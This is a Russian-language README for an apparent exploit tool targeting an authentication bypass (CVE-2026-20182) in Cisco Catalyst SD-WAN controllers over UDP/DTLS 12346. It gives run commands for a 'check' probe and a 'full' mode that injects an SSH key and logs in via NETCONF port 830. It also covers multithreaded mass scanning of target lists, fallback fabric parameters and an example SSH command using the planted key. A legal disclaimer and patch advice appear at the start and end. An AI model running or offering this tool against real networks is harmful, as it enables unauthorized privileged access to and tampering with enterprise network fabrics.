CVE-2026-20182

Cisco Catalyst SD-WAN Обход аутентификации пиринга

CVE-2026-20182 — Обход аутентификации пиринга Cisco Catalyst SD-WAN

Инструмент оценки для авторизованного тестирования обхода аутентификации пиринга Cisco Catalyst SD-WAN Controller / Manager (CVE-2026-20182).

Краткое описание уязвимости

Май 2026, уведомление: Ошибка в рукопожатии управляющего соединения / аутентификации пиринга позволяет неаутентифицированному удаленному атакующему обойти аутентификацию и получить внутренний доступ с высокими привилегиями к уязвимым системам.

Атакующий отправляет специально сформированные запросы на уязвимую систему. В случае успеха атакующий может аутентифицироваться как внутренняя, высокопривилегированная, не-root учетная запись и получить доступ к NETCONF, что позволяет манипулировать конфигурацией SD-WAN фабрики.

Рекомендация: Примените исправления безопасности Cisco в соответствии с официальными рекомендациями поставщика. Ограничьте доступ к плоскости управления, контролируйте соединения плоскости управления и проверьте контроллеры SD-WAN на наличие несанкционированных изменений конфигурации.

Контакты

Telegram: @KNxploited

Предварительный просмотр консоли

Инструмент: CVE-2026-20182.py

Фреймворк эксплойта на Python 3 для CVE-2026-20182 против Cisco SD-WAN vdaemon (UDP/DTLS 12346).

Что он делает (пошагово)

Возврат фабрики: При TEAR_DOWN или несоответствии параметров повторяет альтернативные предустановки domain/site (1,100), (1,1), (0,0), если не указано --no-fallback.

Уровни результатов (внимательно прочитайте)

Важно

• Режим check → максимум уровень 03 (зонд обхода). Не является доказательством полной эксплуатации.
• Режим full → стремитесь к уровню 01 (ssh_verified).
• https://host в списке → только подсказка TCP веб (80/443). Не UDP DTLS на 443.

Требования

pip install -r requirements.txt

OpenSSL (система)

Windows

1. Установите Win64 OpenSSL 3.x или аналог
2. Добавьте bin\ в PATH, или укажите:

OPENSSL_HOME=C:\Program Files\OpenSSL-Win64

Linux

# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH

Инструмент завершает работу при запуске, если OpenSSL не загружен.

Быстрый старт

Интерактивное меню (по умолчанию)

python CVE-2026-20182.py

• Настройте параметры 1–11, затем 0 = ЗАПУСК СКАНИРОВАНИЯ
• Режим запуска по умолчанию: check (безопасный зонд обхода)

Неинтерактивный режим (автоматизация)

python CVE-2026-20182.py -y

Режимы запуска

CHECK — только зонд обхода

python CVE-2026-20182.py -y --mode check

FULL — внедрение ключа + проверка SSH (только авторизованные цели)

python CVE-2026-20182.py -y --mode full

Справочник CLI (каждый флаг + пример)

Цели и рабочие потоки

-f / --file — список целей (по умолчанию: targets.txt)

python CVE-2026-20182.py -y -f my_controllers.txt --mode check

-t / --threads — рабочие потоки (1–200, по умолчанию 12)

python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check

--domain — DOMAIN_ID по умолчанию, если не указан в списке (по умолчанию: 1)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check

--site — SITE_ID по умолчанию, если не указан в списке (по умолчанию: 100)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full

Режим и автоматизация

--mode — check | full

python CVE-2026-20182.py -y --mode full -f targets.txt

-y / --yes — пропустить интерактивное меню; использовать только значения CLI

python CVE-2026-20182.py -y -f targets.txt --mode check -t 20

Проверка SSH

--no-ssh-verify — пропустить тест SSH после внедрения (не рекомендуется в режиме full)

python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt

--verify-ssh22 — также попробовать TCP 22 после 830

python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt

UDP / фабрика

--no-try-list-udp — только UDP 12346; игнорировать :port из списка

python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check

--extra-udp-ports — лаборатория: дополнительные UDP порты на каждом хосте

python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check

--no-fallback — отключить повтор domain/site при TEAR_DOWN

python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full

Логирование

-v / --verbose — логировать каждое сообщение TX/RX протокола

python CVE-2026-20182.py -y -v -f targets.txt --mode check

Интерактивное меню (когда -y опущен)

Формат targets.txt

Одна цель на строку. Строки, начинающиеся с #, игнорируются.

Пример файла

# Лабораторные контроллеры — только авторизованные
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1

Не поддерживается: IPv6 (только IPv4 / имя хоста).

Выходные файлы

Пример команды SSH (уровень 01)

ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N

Рекомендуемые рабочие процессы

1) Массовый скрининг хостов (быстро)

python CVE-2026-20182.py -y -f targets.txt --mode check -t 24

Просмотрите cisco_sdwan_03_bypass_only.jsonl и живую статистику Bypass only.

2) Подтверждение эксплойта на отобранных хостах

python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8

Просмотрите cisco_sdwan_01_confirmed_ssh.jsonl — единственный файл с ssh_verified: true.

3) Отладка одного хоста (подробно)

python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback

Живая телеметрия (во время сканирования)

Эксплуатационные заметки

• Режим по умолчанию — check — не записывает ключи и сам по себе не доказывает SSH.
• Реальный успех = ssh_verified=true только в режиме full.
• Обновленная / неверная фабрика → часто TEAR_DOWN после CHALLENGE_ACK; включите возврат фабрики или укажите правильный domain/site в списке.
• Брандмауэр должен разрешать UDP/12346 (и любые дополнительные UDP порты из списка) от вашего сканера к контроллеру.
• Не сохраняйте sdwan_keys/ или результаты сканирования в публичные репозитории.

Правовое заявление

Данное программное обеспечение предназначено только для авторизованных исследований безопасности, защитного тестирования и обучения.

Вы должны иметь явное письменное разрешение на тестирование любой системы, которая вам не принадлежит или не управляется вами. Несанкционированный доступ к компьютерным системам незаконен. Автор не несет ответственности за неправильное использование, ущерб или юридические последствия, возникающие в результате использования этого инструмента.

Используйте только в системах и сетях, где у вас есть явное разрешение на проведение тестирования безопасности.

Автор: Nxploited ( Khaled Alenazi )